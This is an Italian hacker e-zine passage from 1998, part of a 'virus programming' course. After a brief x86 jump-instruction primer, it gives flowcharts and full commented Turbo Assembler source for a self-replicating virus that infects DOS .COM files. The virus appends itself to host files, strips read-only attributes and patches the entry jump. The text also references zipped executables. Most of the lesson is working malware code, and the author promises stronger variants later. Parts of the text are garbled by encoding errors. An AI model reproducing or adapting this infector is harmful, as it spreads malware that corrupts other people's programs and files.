Salta a un indirizzo, simile all'istruzione GOTO del Basic. Si pu• usare in
diversi formati:
E9FD03
JMP 0500
; salta all'indirizzo 500H
EA78563412
JMP 1234:5678 ; salta all'indirizzo 5678H del segmento
di memoria 1234H
FFE3
JMP BX
; salta al valore di BX
FF27
JMP [BX]
; salta al valore puntato dal registro BX
JNZ / JZ
Salti condizionali, eseguono il salto se una data condizione Š vera o no. In
questo caso la condizione Š data dallo zero flag, esistono per• altri tipi di
salti:
JNC / JC
JNA / JA
JNB / JB
JCXZ
salta se non c'Š / se c'Š riporto
(Jump if Not Carry)
salta se non Š superiore / se Š superiore
(Jump if Not Above)
salta se non Š inferiore / se Š inferiore
(Jump if Not Below)
salta se il registro CX Š zero
(Jump if CX is Zero)
Di solito il salti condizionali seguono ad un'istruzione CMP o ad una OR. I
salti condizionali hanno un limite (range) per cui non si possono fare salti
dall'indirizzo corrente ad uno che superi i 181H (385D) bytes.
....continua sul prossimo numero!
[Il file Sample01.zip contiene i listati e gli eseguibili del virus companion
di cui si parla nell'articolo]
PFloriK [ViriI DivisioN] [S0FTPJ]
ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
ÈÍViRiiÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÄÄÄÄÄÄÄÄÄ ViR0PEDiA v1.0 ÄÄÄÄÄÄÄÄÄÄÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
Teoria & Tecnica della Programmazione Virale
III-IV parte
TERZA LEZIONE
Programmazione di un virus ad azione diretta in Assembly
Il secondo virus sara' progettato e realizzato in Asm, ma come ogni buon
programmatore, ci conviene sintetizzare "a parole nostre" l'algoritmo del
nostro virus, che infettera' i file di tipo COM.
Algoritmo generico del virus_sample2 :
CERCA PRIMO FILE COM
³
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
³
³
³
E' GIA' INFETTO? ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ_ si': CERCA SUCCESSIVO FILE
ÄÄÄÄÙ
³
³
³
no: INFETTALO
Grosso modo lo schema e' questo, solo che e' anche troppo sintetizzato! Come
funziona la routine di infezione vi chiederete? "Estendiamo" un poco il codice
del nostro algoritmo:
Algoritmo generico del virus_sample2 :
CERCA PRIMO FILE COM
³
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
³
³
³
E' GIA' INFETTO? ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ_ si': CERCA SUCCESSIVO FILE
ÄÄÄÄÙ
³
³
³
no: INFETTALO: APRI FILE R/W
LEGGI INTESTAZIONE (4 BYTES)
POSIZIONA ALLA FINE DEL FILE
SCRIVI CODICE DEL VIRUS
POSIZIONA ALL'INIZIO DEL FILE
SCRIVI "salto" AL CODICE DEL VIRUS
CHIUDI FILE
Va bene? Ancora non basta, si puo' fare di meglio inserendo il codice di
controllo per la protezione da attrib (+R=sola lettura) e una routine di
salvataggio/ripristino della data/ora di creazione per evitare che vengano
modificate.
Algoritmo generico del virus_sample2 :
CERCA PRIMO FILE COM
³
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
³
³
³
E' GIA' INFETTO? ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ_ si': CERCA SUCCESSIVO FILE
ÄÄÄÄÙ
³
³no
³
LEGGI E SALVA attrib DEL FILE
³
³
³
attrib = (+R)? ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ_ si': IMPOSTA attrib = (-R) ÄÄÄÄ¿
³
³
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
³no
INFETTALO: APRI FILE R/W
³
LEGGI E SALVA data/ora DEL FILE
³
LEGGI INTESTAZIONE (4 BYTES)
³
POSIZIONA ALLA FINE DEL FILE
³
SCRIVI CODICE DEL VIRUS
³
POSIZIONA ALL'INIZIO DEL FILE
³
SCRIVI "salto" AL CODICE DEL VIRUS
³
RIPRISTINA data/ora DEL FILE
³
CHIUDI FILE
³
RIPRISTINA attrib SE E' STATO MODIFICATO
Ed ecco come tradurre in codice Assembly (ASM) il seguente algoritmo. Tengo a
precisare che quello che segue ora e' un semplicissimo (alquanto banale) virus
scritto in ASM, tuttavia e' l'ideale per iniziare a capirci qualcosa, specie
nella programmazione. Il sorgente e' ampiamente commentato (i commenti sono
preceduti da ';') e puo' essere compilato utilizzando il Turbo Assembler
(almeno la versione 2.0). Il virus sample n.2 e' un parassita dei file COM ad
azione diretta, lungo 460 bytes (veramente poco!!) che non ha nessuna
attivazione dannosa particolare. Servira' come base per iniziare, vedremo dopo
infatti come iniziare a modificare il virus per renderlo piu' potente e
migliorarlo notevolmente.
-----------------------iNiZi0-----------------------
; VIRUS SAMPLE 02
; for VIROPEDIA of SoftProject
; DIRECT FILE INFECTOR FOR .COM (460 BYTES)
.MODEL SMALL
.CODE
ORG 100H
; offset del virus
; per compilare usare il TURBO ASSEMBLER
;
; TASM VIRUS2.ASM
; TLINK VIRUS2 &t
;il programma e' suddiviso in 2 aree
;un'area contenente DATI, VARIABILI, BUFFER VUOTI
;e un'area contenente il CODICE ASM del virus
;
; +-----------------------+
; + testa del programma +--------\ JMP (salto)
; +-----------------------+
|
;+
AREA DATI
+
|
;+
.....
+
|
;+
.....
+
|
; +-----------------------+
|
;+
AREA CODICE
+ <------/
;+
.....
+
;+
.....
+
; +-----------------------+
;
;
;------------------------------------------------------------; TESTA DEL PROGRAMMA
;------------------------------------------------------------PROGRAM_ENTRY_POINT: JMP CODE_SECTION
; il virus inizia li'
; salta a CODE?SECTION
;------------------------------------------------------------; AREA DATI
;------------------------------------------------------------DATA_SECTION:
blank_space DB 00
; spazio vuoto necessario
inf_mark DB 0F5h
; marcatore d'infezione
all_com DB "*.COM",00
; tutti i file COM
nome_file DB "xxxxxxxx.xxx",00
; conterra' il nome del file
intestaz DB 00,00,00,00
; header del file COM
file_attrib DW ?
; attributo del file COM
gestore DW ?
; gestore del file COM
lunghezza DW ?
; lunghezza del file COM
virus_jump DB 0E9h,00,00,245D
; jump che punta al virus nel file
vecchio_segmento_DS dw ?
vecchio_segmento_ES dw ?
copyright db "VIROPEDIA SAMPLE 2 - SOFTPJ-98"
;rilocatore (totale 25 bytes)
rilocatore;
PUSH CS
;0E
salva il segmento di ritorno
MOV DX,100h
;B80001
l'offset di ritorno e' 100h
PUSH DX
;52
salva l'offset di ritorno
MOV AX,CS
;8CC8
calcola la rilocazione con CS
ADD AX,0000
;050000
0000 sara' sostituito
PUSH AX
;50
salva il nuovo segmento
PUSH DX
;52
salva l'offset 100h del virus
MOV SI,100h
;BE0001
bisogna pero' prima riportare
MOV WORD PTR [SI],0000
;C7040000 l'intestazione del file come
MOV WORD PTR [SI+2],0000 ;C744020000 era in origine.
RETF
;CB
rilocazione!
;------------------------------------------------------------; AREA CODICE
;------------------------------------------------------------CODE_SECTION:
;inizializzazione di alcuni registri di segmento
MOV vecchio_segmento_DS,DS ;conserva in due variabili i registri di
MOV vecchio_segmento_ES,ES ;segmento DS e ES per ripristinarli alla fine
MOV AX,CS
MOV DS,AX
MOV ES,AX
;aggiorna i registri DS e ES al nuovo
;segmento con il codice del virus, che
;e' CS (viene copiato in AX e passato)
;il virus e' ad azione diretta, quindi va a cercare
;il primo file *.COM nella directory corrente
;la funzione usata e' AH=4Eh dell'INT 21h
;in DX carichiamo l-indirizzo che punta al file da cercare
;in CX l'attributo da cercare (0000=+A e +R)
MOV AH,4Eh
MOV CX,0000
MOV DX,OFFSET all_com
INT 21h
JNC LEGGI_NOME
JMP FINE
;se viene trovato un file COM allora si procede alla
;memorizzazione del nome in una variabile (nome_file)
;il nome viene restituito dalla funzione 4Eh all'indirizzo
;della DTA+30d (80h + 30d = 9Eh)
;la DTA (data transfer area) e' una zona di memoria che
;si trova nel PSP del programma, quindi e' localizzata
;al segmento di esecuzione originale DS, offset 80h
LEGGI_NOME:
MOV SI,009Eh
MOV DI,OFFSET nome_file
MOV DS,vecchio_segmento_DS
MOV CX,12d
;un nome file e' 12 caratteri max.
CLD
REPNZ MOVSB
;sposta la stringa da SI a DI
PUSH CS
POP DS
;si procede all'apertura del file
;la funzione e' AH=3Dh, AL=modalita' di apertura (00=read)
;in DX carichiamo l'indirizzo con la stringa del nome del file
MOV AX,3D00h
MOV DX,OFFSET nome_file
INT 21h
;andiamo a leggere l'intestazione del file (4 bytes in tutto)
;usando la funzione AH=3Fh e il gestore del file ottenuto
;dall'apertura (BX contiene il gestore)
;CX=numero byte da leggere
;DX=indirizzo della variabile dove saranno memorizzati i bytes
MOV BX,AX
MOV AH,3Fh
MOV CX,4
MOV DX,OFFSET intestaz
INT 21h
;chiudiamo per il momento il file
MOV AH,3Eh
INT 21h
;andiamo a controllare se il file e' gia'
;infetto o no. Il nostro marcatore di infezione
;(infection mark) e' il codice ASCII "F5h"
;localizzato al 4 byte del file
MOV AH,[intestaz+3]
CMP AH,inf_mark
JNE COM_CONTROL
JMP FILE_SUCCESSIVO
;se il file non e' infetto dobbiamo verificare di che
;tipo e'; il nostro virus lavora sui COM, se il file
;e' un EXE allora bisogna lasciarlo stare.
;tutti i file EXE hanno la particolarita' di iniziare
;con una word speciale chiamata "MZ", se questa word c'e'
;allora il file e' di sicuro un EXE
COM_CONTROL:
MOV AX,WORD PTR [intestaz]
CMP AX,"ZM"
JNE LEGGI_ATTRIB
;se il file trovato non soddisfa i requisiti di vittima
;allora il virus passa a cercare il prossimo file
;se non ci sono piu' file il virus termina qui e restituisce
;l'esecuzione al programma originale di cui e' ospite
;(routine FINE)
FILE_SUCCESSIVO:
MOV AH,4Fh
INT 21h
JNC LEGGI_NOME
JMP FINE
;ok, il file trovato e' una vittima ideale, controlliamo se ha
;l'attributo di read/only (+R) che lo protegge
;la funzione usata e' AH=43h AL=00 (legge attributo)
;DX=indirizzo del nome del file
LEGGI_ATTRIB:
MOV AX,4300h
MOV DX,OFFSET nome_file
INT 21h
MOV file_attrib,AX
;memorizza attributo del file
;l'attributo normale di archivio (+A) e' 20h
;se il file non ha questo attributo gli viene
;impostato dal virus
CMP AX,0020H
JE APRE_FILE_RW
MOV AX,4301h
MOV CX,0020h
MOV DX,OFFSET nome_file
INT 21h
JNC APRE_FILE_RW
JMP FINE
;apriamo il file in lettura/scrittura (AH=3Dh AL=02)
APRE_FILE_RW:
MOV AX,3D02h
MOV DX,OFFSET nome_file
INT 21h
MOV gestore,AX
JNC CALCOLA_LUNGHEZZA
JMP RESTORE_ATTRIB
;ci posizionamo alla fine del file, cosi' possiamo
;sapere quanto e' lungo
CALCOLA_LUNGHEZZA:
MOV AX,4202h
MOV BX,gestore
XOR CX,CX
;azzera CX
XOR DX,DX
;azzera DX
INT 21h
;verifichiamo che il file non superi il limite dei 64K
;e che non sia nemmeno troppo piccolo
;la grandezza e' memorizzata in DX:AX
CMP DX,0
JE LIMITE_GRANDEZZA
JMP CHIUDE_FILE
LIMITE_GRANDEZZA:
CMP AX,63000d
;Limite superiore < 63.000 bytes
JA CHIUDE_FILE
CMP AX,200d
;Limite inferiore > 200 bytes
JB CHIUDE_FILE
;ci troviamo ora alla fine del file vittima, e andiamo a
;scrivere un rilocatore, cioe' una routine che serve ad aggiustare
;il punto di esecuzione del virus nel file. Il virus e' stato
;scritto all'indirizzo 100h, quindi puo' girare solo se viene
;eseguito a questo indirizzo. Quando viene scritto nel file,
;la sua posizione cambia di volta in volta (non sara' 100h),
;cosi' usiamo un rilocatore che serve a far eseguire il nostro
;virus sempre all'indirizzo 100h
;il programmino del rilocatore e' definito nell'area dati
;AX contiene ancora la grandezza del file
MOV lunghezza,AX
ADD AX,25d
;aggiunge la dimensione del rilocatore
ADD AX,10h
;aggiustamento decimale per far
AND AL,11110000b
;quadrare la dimensione del file
MOV CX,4
MOV WORD PTR [RILOCATORE+8],AX
SHR WORD PTR [RILOCATORE+8],CL ;SHR con CX=4 e' una divisione per 10
MOV SI,WORD PTR [intestaz]
;prepara la routine del rilocatore
MOV WORD PTR [RILOCATORE+17],SI ;che ha il compito di andare a
MOV SI,WORD PTR [intestaz+2] ;ripristinare le prime istruzioni del
MOV WORD PTR [RILOCATORE+22],SI ;file original (in tutto 4 bytes)
MOV CX,AX
;calcoliamo la lunghezza effettiva
SUB CX,lunghezza
;del rilocatore
MOV AH,40h
;scriviamo il rilocatore
MOV BX,gestore
MOV DX,OFFSET rilocatore
INT 21h
;memorizziamo il punto dove verra' agganciato il virus
;dentro al file, quindi scriviamo il corpo del virus
;in coda al file (append)
;la funzione di scrittura e' AH=40h dell'INT 21h
;BX=gestore del file in uso
;CX=numero di byte da scrivere
;DX=inizio del buffer con i byte da scrivere
SCRIVE_CORPO_VIRUS>
MOV AH,40h
MOV BX,gestore
MOV CX,OFFSET (END_OFFSET-PROGRAM_ENTRY_POINT)
MOV DX,OFFSET PROGRAM_ENTRY_POINT
INT 21h
;risaliamo quindi alla testa del file
MOV AX,4200h
MOV BX,gestore
XOR CX,CX
XOR DX,DX
INT 21h
;modifichiamo la prima istruzione del file
;scrivendo un salto (JMP) che punta al virus
;la struttura del programma infetto diventa questa:
;
;
+-----------+
;
+ JMP virus +-------------\
;
+-----------+
|
;
/---------> prog +
|
;
| + .... +
|
;
| + .... +
|
;
| + .... +
|
;
| +-----------+
|
;
| + VIRUS <---------------/
;
| + ..... +
;
| + ..... +
;
\------+ RETF prog +
;
+-----------+
MOV AX,lunghezza
SUB AX,3
MOV WORD PTR [virus_jump+1],AX ;indirizzo della JMP che punta al virus
MOV AH,40h
MOV BX,gestore
MOV CX,4
MOV DX,OFFSET virus_jump
INT 21h
;chiude il file una volta finita l'infezione
CHIUDE_FILE:
MOV AH,3Eh
MOV BX,GESTORE
INT 21h
;ripristina il vecchio attributo del file
RESTORE_ATTRIB:
MOV AX,4301h
MOV CX,file_attrib
MOV DX,OFFSET nome_file
INT 21h
;fine del virus, quando si arriva qui ripristiniamo
;le condizioni iniziali per far ripartire il programma
;vittima che ospita il virus.
FINE:
POP DX
CMP DX,100H
;questo controllo viene fatto per vedere
JE RETURN_TO_PROG
;se il virus e' il primo campione uscito dal
;sorgente (capostipite, first sample)
MOV AX,4C00h
;in questo caso il programma termina come un
INT 21H
;normale file DOS
RETURN_TO_PROG:
;se il virus invece e' in esecuzione
MOV DS,vecchio_segmento_DS
;da un file infetto allora deve restituire
MOV ES,vecchio_segmento_ES
;il controllo al suo "padrone"
XOR AX,AX
;azzera tutti i registri
XOR BX,BX
XOR CX,CX
XOR DX,DX
XOR SI,SI
XOR DI,DI
PUSH DX
RETF
;ritorno al file
END_OFFSET:
END PROGRAM_ENTRY_POINT
-----------------------FiNE----------------------ndr: il file virii02.zip contiene il sorgente e l'eseguibile del virus
analizzato nell'articolo.
PFloriK [S0ftPj98]